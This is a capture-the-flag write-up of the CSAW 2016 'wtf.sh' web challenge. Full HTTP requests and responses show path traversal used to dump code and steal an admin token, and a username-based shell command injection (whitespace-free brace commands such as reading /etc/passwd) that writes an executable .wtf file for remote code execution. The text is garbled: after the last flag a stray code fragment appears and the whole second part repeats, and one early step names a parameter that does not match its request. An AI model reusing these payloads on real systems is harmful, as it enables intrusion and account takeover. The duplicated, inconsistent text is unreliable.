# CSAW CTF 2016 wtf.sh Writeup
wtf.sh was a challenge that included two flags, one for 150pts and one for 400pts.
## wtf.sh (1) (150pts)
In the first part we needed to call the function `get_flag1` in order to receive the flag. The `post` parameter of `post.wtf` was vulnerable to a path traversal:
```GET /profile.wtf?user=../posts HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==```
Sending this request returned the content of all files in the sandbox directory (the code is available [here](https://kleber.io/odPM2AoqaZXmIFKZSqfbvFw46jRujfi0OvYQ2qVXpGZ1W)). There was also another path traversal in the `user` parameter of `profile.wtf` which allowed directory listings:
```GET /profile.wtf?user=../../* HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==```
With these two vulnerabilities we were able to read all the site's code and explore the directory structure. The user data resides in the `users` directory, where a user file included a user's name, password hash and login token. Using the first directory traversal we were able to get the login token for the admin user:
```GET /post.wtf?post=../users/ HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==
HTTP/1.1 200 OK[...]<span>Posted by admin</span><span>3f0b1ebe20e3682b1a5d701590ad76fb051d3a08</span><span>ecX+3sJzU16hZeUPdfVy+h8kDJXsvR4DOd1QrliIBLRmgYs7sFqJvL/zRmUyhul5GtlLRbTHI/SWHMyNTcWPSw==</span>[...]```
In the code we saw that the `get_flag1` command will be called whenever the admin user accesses his profile on `profile.wtf`:
```bash$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"$ then$   local username=$(head -n 1 users/${URL_PARAMS['user']});$   echo "<h3>${username}'s posts:</h3>";$   echo "";$   get_users_posts "${username}" | while read -r post; do$       post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");$       echo "$(nth_line 2 "${post}" | htmlentities)";$   done$   echo "";$   if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]$   then$       get_flag1$   fi$ fi```
We also see in the code (`user_functions.sh`) that whenever a user registers a directory in users_lookup will be created with the SHA1 of the username as directoroy name. In order to get the proper user ID for the admin user to access the admin profile we can just read the userid file:
```GET /profile.wtf?user=../users_lookup/4015bc9ee91e437d90df83fb64fbbe312d9c9f05/userid HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==
HTTP/1.1 200 OK[...]<h3>QNI5P's posts:</h3>[...]```
Now we can get the flag:
```GET /profile.wtf?user=QNI5P HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=admin; TOKEN=ecX+3sJzU16hZeUPdfVy+h8kDJXsvR4DOd1QrliIBLRmgYs7sFqJvL/zRmUyhul5GtlLRbTHI/SWHMyNTcWPSw==
HTTP/1.1 200 OK[...]Flag: flag{l00k_at_m3_I_am_th3_4dm1n_n0w}[...]```
## wtf.sh (2) (400pts)
The second part of the challenge was a little bit more complicated. We had to call `get_flag2`, but the code we dumped did not include any reference. So we had to dig deeper into the code to get remote code exection.
We saw in the code that `wtf.sh` includes a function that parses and executes .wtf files:
```bashmax_page_include_depth=64page_include_depth=0function include_page {    # include_page <pathname>    local pathname=$1    local cmd=""    [[ "${pathname:(-4)}" = '.wtf' ]];    local can_execute=$?;    page_include_depth=$(($page_include_depth+1))    if [[ $page_include_depth -lt $max_page_include_depth ]]    then        local line;        while read -r line; do            # check if we're in a script line or not ($ at the beginning implies script line)            # also, our extension needs to be .wtf            [[ "$" = "${line:0:1}" && ${can_execute} = 0 ]];            is_script=$?;
            # execute the line.            if [[ $is_script = 0 ]]            then                cmd+=$'\n'"${line#"$"}";            else                if [[ -n $cmd ]]                then                    eval "$cmd" || log "Error during execution of ${cmd}";                    cmd=""                fi                echo $line            fi        done < ${pathname}    else        echo "Max include depth exceeded!"    fi}```
So what we had to do is upload a file containing shell code starting with a "$" and the filename needed to have the .wtf extension. An interesting function we found in the `post_functions.sh` file was `reply`:
```bashfunction reply {    local post_id=$1;    local username=$2;    local text=$3;    local hashed=$(hash_username "${username}");
    curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);    next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");    next_file=(posts/${post_id}/${next_reply_id});    echo "${username}" > "${next_file}";    echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";    echo "${text}" >> "${next_file}";
    # add post this is in reply to to posts cache    echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";}```
When replying to a post we submitted the post ID via the `post` GET parameter. This parameter was also vulnerable to path traversals, which allowed us to define a filename to write to. The function also wrote the username on the first line of the file. So if we just registered a username that contains a valid shell command and write it to a file ending with .wtf into a directory where we could access the file would give us code execution. Fourtunately, the users_lookup file did not include a `.noread` file so we could just write a .wtf file to users_lookup.
The applicaiton allowed to register users containing special chars like "$", but was buggy with usernames containing whitespaces. However, because bash allows to execute commands without whitespaces (e.g. {cat,/etc/passwd}), this was not a problem. So we've registered the user `${find,/,-iname,get_flag2}` and created a reply with the following request:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Type: application/x-www-form-urlencodedCookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
text=asd&submit=```
Note that the filename is prepended with `%09` which is a horizontal tab. This is required because the reply function would interpret the name as directory name and the command would fail.
When we now call the file we get the following response:
```GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
HTTP/1.1 200 OK[...]/usr/bin/get_flag2RE:asd```
So the `get_flag2` is a binary that resides in `/usr/bin/`. We now just need to create the user `$/usr/bin/get_flag2` and send the reply request again:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Length: 16Content-Type: application/x-www-form-urlencodedCookie: USERNAME=$/usr/bin/get_flag2; TOKEN=neappNHO7cRKNouqa1+xBYq8AWNTE2PqLcxh0JPFkaaNF5UOXc/C2fOL+JkQP65OZxc9BUkRnt1h8Z98bFbHZA==
text=asd&submit=
--
GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001
HTTP/1.1 200 OK[...]Flag: flag{n0b0dy_exp3c75_th3_p4r3nth3s1s_1nqu1s1t10n}ÿÿÿRE:asd```
Max include depth exceeded!
"    fi}```
So what we had to do is upload a file containing shell code starting with a "$" and the filename needed to have the .wtf extension. An interesting function we found in the `post_functions.sh` file was `reply`:
```bashfunction reply {    local post_id=$1;    local username=$2;    local text=$3;    local hashed=$(hash_username "${username}");
    curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);    next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");    next_file=(posts/${post_id}/${next_reply_id});    echo "${username}" > "${next_file}";    echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";    echo "${text}" >> "${next_file}";
    # add post this is in reply to to posts cache    echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";}```
When replying to a post we submitted the post ID via the `post` GET parameter. This parameter was also vulnerable to path traversals, which allowed us to define a filename to write to. The function also wrote the username on the first line of the file. So if we just registered a username that contains a valid shell command and write it to a file ending with .wtf into a directory where we could access the file would give us code execution. Fourtunately, the users_lookup file did not include a `.noread` file so we could just write a .wtf file to users_lookup.
The applicaiton allowed to register users containing special chars like "$", but was buggy with usernames containing whitespaces. However, because bash allows to execute commands without whitespaces (e.g. {cat,/etc/passwd}), this was not a problem. So we've registered the user `${find,/,-iname,get_flag2}` and created a reply with the following request:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Type: application/x-www-form-urlencodedCookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
text=asd&submit=```
Note that the filename is prepended with `%09` which is a horizontal tab. This is required because the reply function would interpret the name as directory name and the command would fail.
When we now call the file we get the following response:
```GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
HTTP/1.1 200 OK[...]/usr/bin/get_flag2RE:asd```
So the `get_flag2` is a binary that resides in `/usr/bin/`. We now just need to create the user `$/usr/bin/get_flag2` and send the reply request again:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Length: 16Content-Type: application/x-www-form-urlencodedCookie: USERNAME=$/usr/bin/get_flag2; TOKEN=neappNHO7cRKNouqa1+xBYq8AWNTE2PqLcxh0JPFkaaNF5UOXc/C2fOL+JkQP65OZxc9BUkRnt1h8Z98bFbHZA==
text=asd&submit=
--
GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001
HTTP/1.1 200 OK[...]Flag: flag{n0b0dy_exp3c75_th3_p4r3nth3s1s_1nqu1s1t10n}ÿÿÿRE:asd```